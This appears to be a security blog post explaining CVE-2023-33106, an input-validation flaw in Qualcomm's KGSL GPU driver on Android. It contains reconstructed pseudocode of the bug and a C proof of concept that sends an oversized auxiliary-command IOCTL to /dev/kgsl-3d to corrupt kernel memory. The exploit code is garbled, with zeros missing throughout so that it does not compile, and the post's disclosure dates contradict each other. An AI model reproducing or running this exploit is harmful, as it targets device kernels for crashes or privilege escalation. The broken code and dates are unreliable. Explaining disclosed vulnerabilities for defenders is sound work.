Android's graphics stack is a critical component, and Qualcomm Adreno GPUs are widely used in many Android devices. The kernel module msm-adreno provides an interface for user-space applications to interact with the GPU. In May 2023, a severe vulnerability (CVE-2023-33106) was disclosed, where improper validation in the IOCTL handler for auxiliary GPU commands could lead to memory corruption. This post dives deep into how the bug works, shows an example exploit, and gives you all the references you’ll need to learn more.
Overview
- CVE ID: CVE-2023-33106
Found in: kgsl_ioctl_gpu_aux_command
- Vector: By submitting a large sync point list to this IOCTL command, a malicious app can cause memory corruption.
What is IOCTL_KGSL_GPU_AUX_COMMAND?
IOCTLs (Input/Output Controls) are special system calls that let programs communicate directly with device drivers. The KGSL (Kernel Graphics Support Layer) driver for Qualcomm Adreno GPUs exposes several IOCTLs, one being IOCTL_KGSL_GPU_AUX_COMMAND. This allows auxiliary (extra) commands to the GPU, including synchronizations (sync points).
How the Bug Happens
The IOCTL expects you to send a list of "sync points" (events to wait for). The problem: when a user sends a very large list, the code doesn't properly check its size. This can cause the driver to write or read outside the bounds of allocated memory—a classic memory corruption.
Vulnerable Code (Pseudocode)
// At driver/kgsl
int kgsl_ioctl_gpu_aux_command(struct kgsl_device_private *dev_priv, ...)
{
// ... parsing input from user
// 'user_sync_points' provided by user
unsigned int sync_points_count = user_input.sync_points_count;
// allocates memory based on sync_points_count
struct kgsl_sync_point *sync_points = kmalloc(sync_points_count * sizeof(*sync_points), ...);
// Copy sync_points from user to kernel space
if (copy_from_user(sync_points, user_input.sync_points, sync_points_count * sizeof(*sync_points)))
return -EFAULT;
// ... processes each sync_point
}
Issue: If the user passes a very large sync_points_count, sync_points_count * sizeof(*sync_points) can wrap around or exceed the size of properly allocated memory, causing buffer overflow.
A malicious app can
1. Open the /dev/kgsl-3d device.
2. Construct an IOCTL_KGSL_GPU_AUX_COMMAND request with a huge sync_points array (or a count that triggers an integer overflow).
Below is a simplified exploit running on a vulnerable device
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
// These values are specific to the kernel version and device
#define KGSL_IOC_TYPE x09
#define IOCTL_KGSL_GPU_AUX_COMMAND _IOW(KGSL_IOC_TYPE, x43, struct kgsl_gpu_aux_command)
struct kgsl_sync_point {
uint32_t type;
uint32_t timeline;
uint64_t seqno;
};
struct kgsl_gpu_aux_command {
uint64_t flags;
uint32_t sync_points_count;
uint64_t sync_points; // user pointer
// other fields...
};
int main() {
int fd = open("/dev/kgsl-3d", O_RDWR);
if (fd < ) {
perror("open kgsl device");
return -1;
}
size_t big_count = x10000000; // large enough to cause integer overflow
struct kgsl_sync_point *sync_points = malloc(big_count * sizeof(*sync_points));
memset(sync_points, , big_count * sizeof(*sync_points));
struct kgsl_gpu_aux_command cmd = {
.flags = ,
.sync_points_count = big_count,
.sync_points = (uint64_t)sync_points,
};
printf("[*] Sending oversized AUX command...\n");
int ret = ioctl(fd, IOCTL_KGSL_GPU_AUX_COMMAND, &cmd);
if (ret < )
perror("ioctl failed");
free(sync_points);
close(fd);
return ;
}
Expected result: On a vulnerable kernel, this command might crash your system (kernel panic) or even result in privilege escalation.
> ⚠️ *Never run PoC code on production or personal devices. Only use on test devices you own or in official security research settings.*
References
- NVD Summary: CVE-2023-33106
- Qualcomm Security Bulletin June 2023
- Project Zero: Understanding IOCTL vulnerabilities
- Upstream Patch (AOSP)
- Exploit Writeup for Similar KGSL Bugs
Conclusion
CVE-2023-33106 highlights the risks of improper input checking in kernel device drivers. Attackers can exploit these bugs for privilege escalation on Android devices. Fixes have been released, but always keep your devices and kernels updated. Developers: always, always check your user input, especially in the kernel!
Stay safe!
*If you found this post useful, don’t forget to check out the references and follow the security mailing lists for more on Android and Linux kernel vulnerabilities.*
Timeline
Published on: 12/05/2023 03:15:14 UTC
Last modified on: 12/11/2023 15:06:16 UTC